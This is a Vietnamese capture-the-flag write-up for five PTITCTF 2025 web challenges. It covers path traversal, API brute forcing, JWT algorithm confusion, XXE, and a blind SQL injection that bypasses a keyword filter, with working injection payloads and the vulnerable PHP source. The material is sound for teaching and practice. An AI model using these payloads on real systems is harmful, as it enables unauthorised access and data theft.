---
# System prepended metadata

title: PTITCTF-2025(Solved 5/6 Web Challenge)

---

# PTITCTF-2025(Solved 5/6 Web Challenge)

## Web1(Easy)

- Trang Web này có 2 tính năng chính mà chúng ta cần xem xét:
1. Upload File
Bạn có thể đăng tải nội dung thông qua đường dẫn `/dashboard`
![image](https://hackmd.io/_uploads/Bkc4fiYtxe.png)

2. Download File
- Sau khi đăng tải File, trang Web sẽ hiển thị 1 đoạn thông báo, chúng ta có thể tải tệp xuống thông qua Click vào nút ==here==. \
![image](https://hackmd.io/_uploads/S14OGstYgg.png)
- Đồng thời khi Click ta sẽ tạo một gói yêu cầu
`GET /download?filename=<tên của tệp>`
![image](https://hackmd.io/_uploads/r1d2mitYlx.png)

- Với request ở trên, rất có thể trang Web bị lỗ hổng ==Path Traversal== bởi giá trị ==filename== là giá trị mà ta có thể kiểm soát.
![image](https://hackmd.io/_uploads/HJyj4iFKll.png)

- Từ đây ta có thể khẳng định Web bị lỗ hổng ==Path Traversal==. Nhưng mảnh ghép còn thiếu là chúng ta chưa biết đường dẫn chính xác dẫn đến tệp chứa ==flag==
- Chúng ta có dùng công cụ để tìm kiếm tất cả các đường dẫn có thông tin về tệp chứa flag. Kết quả ta tìm thấy một tệp hữu ích, một tệp lưu trữ các biến môi trường của hệ thống `/proc/self/environ`
![image](https://hackmd.io/_uploads/ByAMUjYYxx.png)

- Từ đây các mảnh ghép đã có đủ, ta tiến hành truy cập tệp flag
![image](https://hackmd.io/_uploads/rywOLsFFlx.png)

:::success
:100: Giải Challenge thành công
:::
>[!Warning]
Vì tệp environ không phải định dạng text thông thường do đó chúng ta không nên sao chép và dán đường dẫn đến flag, việc này sẽ khiến ta truy cập flag không thành công 

## Web5(Easy)
- Challenge này có chứa mã nguồn, chúng ta có thể xem qua mã nguồn để hiểu qua cách hoạt động của Web. Tuy nhiên có tệp ==urls.py== chứa các ==Route== mà ta cần chú ý
![image](https://hackmd.io/_uploads/HkuJFsYYgl.png)

- Với Route `/api`, theo logic các Route `/api` như vậy sẽ chứa nhiều các ==prefix== đằng sau ví dụ như `/api/auth`, v.v. Ta có thể dùng ==brute force== để xem trang Web có các api nào
![image](https://hackmd.io/_uploads/r1PYFoYtee.png)

- Truy cập đến `/api/scoreboard`
![image](https://hackmd.io/_uploads/HJkAFjtYll.png)

- Có vẻ như api này chứa các dữ liệu được trả về khi truy vấn. Các api như vậy thường là nơi để giấu ==flag==. Chúng ta thử tìm kiếm từ khóa để kiểm tra
![image](https://hackmd.io/_uploads/rkiVqiKFxe.png)

:::success
:100: Giải Challenge thành công
:::
## Web2(Medium)
- Sau khi đăng kí tài khoản và đăng nhập, chúng ta xem qua các request có điều gì chú ý.
![image](https://hackmd.io/_uploads/SJyuHk5Kxg.png)

- Kèm theo đó là đoạn mã JWT token
![image](https://hackmd.io/_uploads/rkKjBkcYee.png)

- Ta thử truy cập đến đường dẫn `/admin`
![image](https://hackmd.io/_uploads/ByLf8yqtgx.png)


- Từ các điều trên rất có thể khả năng chúng ta phải khai thác vào JWT token này để nâng quyền từ ==user== lên ==admin== và truy cập `/admin` để lấy flag
- Kĩ thuật được sử dụng trong challenge này để khai thác vào JWT được gọi là ==JWT algorithm confusion==. Thông tin chi tiết xin tham khảo [Tại đây](https://pentest.co.uk/insights/json-web-token-algorithm-confusion-attack/#:~:text=The%20JWT%20Algorithm%20Confusion%20%28also%20known%20as%20key,key%29%20for%20verifying%20tokens%20created%20with%20either%20algorithm.)
- Hiểu cơ bản kĩ thuật này sẽ khai thác vào cách server tiếp nhận đầu vào đầu vào để ==verify(xác nhận)== cho ==sign(chữ ký)==, lỗ hổng nằm ở việc server không kiểm tra đầu vào an toàn dẫn đến việc sử dụng cùng một ==key(khóa)== để xác nhận nhận chữ ký cho hai loại thuật toán mã hóa khác nhau là mã hóa đối xứng và bất đối xứng, điều mà lẽ ra là không đúng. Với thuật toán mã hóa đối xứng khóa được sử dụng để xác nhận phải là ==secret key== và thuật toán mã hóa bất đối xứng phải là ==public key==
- Các bước được thực hiện để khai thác:
    1. Tìm kiếm ==public key== mà server dùng để ==verify==
- Ta đăng nhập 2 lần ==(cùng một tài khoản)== để lấy được 2 JWT token
- Sau đó khởi chạy lệnh trong docker thông qua lệnh: `docker run --rm -it portswigger/sign2n <JWT token1> <JWT token2>`. Lệnh này thực chất sẽ tạo một container tên là ==sign2n==, trong container chứa tệp python nhằm phân tích 2 JWT token nhận từ đầu vào, vét cạn và đưa ra ==public key== tương ứng.
- Để chạy được lệnh trên Windows, chúng ta phải cài ==docker== và ==docker-desktop==
![image](https://hackmd.io/_uploads/HyeBGgqFge.png)

- Chúng ta sao chép lần lượt 2 ==Tampered JWT== từ công cụ vào đối số ==token== trong Request để xem JWT nào là hợp lệ
- Thử với JWT dùng x509 Key
![image](https://hackmd.io/_uploads/S1dTGgqFlg.png)
- Vì Web trả về ==status 200==. Vậy ta tìm được JWT hợp lệ tương ứng với key dùng để tạo ra mã JWT

2. Khai thác vào lỗi JWT algorithm collision để truy cập `/admin`
- Sử dụng tính năng ==JWT editor== của Burp Suite để tạo key mới. Chọn ==New Symmetric Key== -> Chọn ==Generate== -> Sao chép ==Base64 encoded x509 key== tạo được ở bước 1 vào ô =="k"==
![image](https://hackmd.io/_uploads/H1uH7x9Feg.png)

- Quay lại request đến `/admin`, chọn vào tính năng ==JSON Web Token== để chỉnh sửa JWT Token, thay ==role== thành ==admin==, thay thuật toán ==RS256== thành ==HS256==, Chọn ==Sign== -> Chọn ==Key== là khóa vừa tạo -> Chọn OK
![image](https://hackmd.io/_uploads/ry_fNe9Yee.png)

- Chọn ==Send== để gửi 
![image](https://hackmd.io/_uploads/Hy2KEx5tlg.png)
:::success
:100: Giải Challenge thành công
:::

# WEB3(MEDIUM)
![image](https://hackmd.io/_uploads/r1DaHx9Ylx.png)

- Khi ta chọn một lựa chọn, và bấm gửi, một yêu cầu sẽ được gửi đến `POST /submit_answer` nhằm nhận về dữ liệu và ==Browser== lấy dữ liệu này để hiển thị. Yêu cầu sẽ có dạng như sau
![image](https://hackmd.io/_uploads/SJAuPxcKel.png)

- Tuy nhiên ngoài định dạng ==json==, chúng ta có thể sử dụng một định dạng khác là ==xml==. Chúng ta có thể phát hiện ra điều này bằng cách sửa đổi thử ==MIME-Type== của Request
![image](https://hackmd.io/_uploads/rkW0Px9tlg.png)

- Từ đây chúng ta có thể tận dụng định dạng ==xml== để tìm ra cách khai thác. Trong challenge này ta sẽ khai thác qua lỗ hổng ==XXE==, chi tiết về lỗ hổng xin tham khảo [tại đây](https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection)
![Screenshot 2025-08-25 152653](https://hackmd.io/_uploads/SJf2ulcFle.png)

- Phần đường dẫn đến flag nằm trong mã nguồn của tệp ==app.py==
![Screenshot 2025-08-25 153736](https://hackmd.io/_uploads/SyZ1Ye5Ylg.png)

:::success
:100: Giải Challenge thành công
:::

## WEB0(HARD)
- Challenge này có chứa mã nguồn `index.php`
```
<?php
error_reporting(0);
include("db.php");
function check($input)
{
	$forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid";
	$forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";
	if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) {
		die('forbidden');
	}
}

$user = $_GET['user'];
$pass = $_GET['pass'];
check($user);
check($pass);
$sql = @mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM users WHERE username='{$user}' AND password='{$pass}';"));
if ($sql['username']) {
	echo 'welcome \o/';
	die();
} else {
	echo 'wrong !';
	die();
}

```
- Nhìn qua mã nguồn, dễ thấy rằng Web nhận giá trị từ hai tham số ==user== và ==pass== với ==method GET==, đưa vào hàm để kiểm tra và nối trực tiếp vào câu truy vấn, đây chính là lỗ hổng ==SQLi== điển hình. Và challenge cũng nằm ở việc chúng ta khai thác SQLi sao cho lấy được flag.
- Với việc chương trình đã chặn đi hầu hết các ký tự quan trọng như ==dấu khoảng trắng==, ==dấu comment==, v.v. Tuy nhiên với ==Mysql== ta hoàn toàn có thể truy vấn mà không cần dùng đến khoảng trắng.
- Các bước để khai thác như sau:
1. Tận dụng Blind SQL thông qua hàm `IF()`
- Payload: `user=1'||IF(<điều kiện>,1,0||'%00&pass=a`
- Phân tích đoạn Payload:
    - Nếu biểu thức trong câu lệnh ==IF== đúng, thì giá trị 1 sẽ được trả về và phép so sánh `'1'||1` sẽ đúng và Response sẽ chứa chuỗi ==welcom==, ngược lại sẽ chứa chuỗi ==wrong==
    - Giá trị `%00` được gọi là Null, trong ==Mysql== khi gặp giá trị này phần chuỗi sau ký tự trở đi sẽ được bỏ qua. Ta dùng ký tự này để kiểm soát phần truy vấn, do nếu như có thêm phần truy vấn từ `AND password=..` trở đi sẽ khó kiểm soát các điều kiện hơn do thuật ngữ gọi là ==short-circuit evaluation(ngắn mạch)==

![image](https://hackmd.io/_uploads/Sk-hCe9Kgx.png)

![image](https://hackmd.io/_uploads/B1pnRlcYxl.png)

2. Thay đổi điều kiện để tìm kiếm nơi chứa flag
- Payload: `user=1'||IF((SELECT(flag)FROM(flag)),1,0)||'%00&pass=a`
- Phần truy vấn này sẽ đặc biệt hơn ở chỗ, nếu điều kiện lỗi(không chứa bảng hoặc cột có tên ==flag==) thì response sẽ không chứa bất kì chuỗi nào, ngược lại sẽ có kết quả trả về

![image](https://hackmd.io/_uploads/BJDx-W9Kgx.png)

![image](https://hackmd.io/_uploads/BksZW-qYgl.png)

3. Kiểm tra các ký tự có trong flag
- Payload:`user=1'||IF(INSTR((SELECT(flag)FROM(flag)),CHR(<ký tự cần kiểm tra>)),1,0)||'%00&pass=a`
- Thông qua đây ta có thể kiểm tra các ký tự được sử dụng trong flag

![image](https://hackmd.io/_uploads/Hy0uMbqYeg.png)

- Ta trích được tất cả các ký tự dùng trong flag: ==034cfimnstw_{}==

4. Brute Force để thu được flag
- Ta để ý format của flag có chứa cả ký tự ==_==, ký tự này bị cấm vậy ta sẽ sử dụng hàm ==RLIKE== do ta có thể biểu diễn ký tự ==_== bằng ký tự ==.==
- Payload: `1'||IF((SELECT(flag)FROM(flag))RLIKE('^ptitctf{<các ký tự tiếp theo>'),1,0)||'%00`
- Trong trường hợp ký tự là ==_== ta thay bằng dấu ==.==
- Payload sẽ trở thành: `1'||IF((SELECT(flag)FROM(flag))RLIKE('^ptitctf{.<ký tự tiếp theo>'),1,0)||'%00`

- Hoặc nếu như dùng với lệnh ==LIKE== ta có thể biểu diễn dấu ==_== bằng ==CHR(95)==, tuy nhiên phần Payload sẽ có chút phức tạp và phải thay đổi liên tục.
- Payload sẽ trở thành:
`1'||IF((SELECT(flag)FROM(flag))LIKE(CONCAT('ptitctf{',CHR(95),'<các ký tự tiếp theo>%')),1,0)||'%00`

- Cuối cùng ta sẽ thu được kết quả hoàn chỉnh:
![image](https://hackmd.io/_uploads/Sk5frW9Flx.png)
:::success
:100: Giải Challenge thành công
:::